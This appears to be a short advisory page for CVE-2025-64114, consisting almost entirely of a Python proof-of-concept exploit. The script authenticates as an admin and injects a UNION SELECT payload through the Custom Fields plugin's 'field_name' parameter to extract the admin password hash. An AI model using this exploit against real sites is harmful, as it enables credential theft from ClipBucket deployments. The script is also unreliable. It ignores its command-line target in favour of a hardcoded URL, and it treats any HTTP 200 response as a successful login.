CVE-2025-64114 ClipBucket v5 Custom Fields插件SQL注入漏洞

# CVE-2025-64114 ClipBucket Custom Fields SQL Injection PoC # Requirements: Authenticated admin access with plugin management privileges # Target: ClipBucket v5 with Custom Fields plugin installed import requests import sys TARGET_URL = "http://target-clipbucket.com" ADMIN_PATH = "/admin/plugin.php" LOGIN_URL = f"{TARGET_URL}/login.php" def login(session, username, password): """Authenticate as admin user""" login_data = { "username": username, "password": password, "submit": "Login" } response = session.post(LOGIN_URL, data=login_data, allow_redirects=True) return "logged_in" in response.text or response.status_code == 200 def exploit_sql_injection(session): """ SQL Injection via Custom Fields plugin parameter Modify the 'field_name' or 'field_value' parameter with malicious SQL payload """ # Malicious SQL payload - extract admin password hash sql_payload = "' UNION SELECT password FROM cb_users WHERE userid=1--" exploit_data = { "plugin": "custom_fields", "action": "save_field", "field_name": sql_payload, "field_type": "text", "submit": "Save" } response = session.post( f"{TARGET_URL}{ADMIN_PATH}", data=exploit_data, headers={"Content-Type": "application/x-www-form-urlencoded"} ) return response def main(): if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <admin_user> <admin_pass>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] session = requests.Session() print(f"[*] Logging in as {username}...") if not login(session, username, password): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Exploiting SQL injection in Custom Fields plugin...") response = exploit_sql_injection(session) if response.status_code == 200: print("[+] Exploit sent - check response for data extraction") else: print(f"[-] Exploit failed with status code: {response.status_code}") if __name__ == "__main__": main()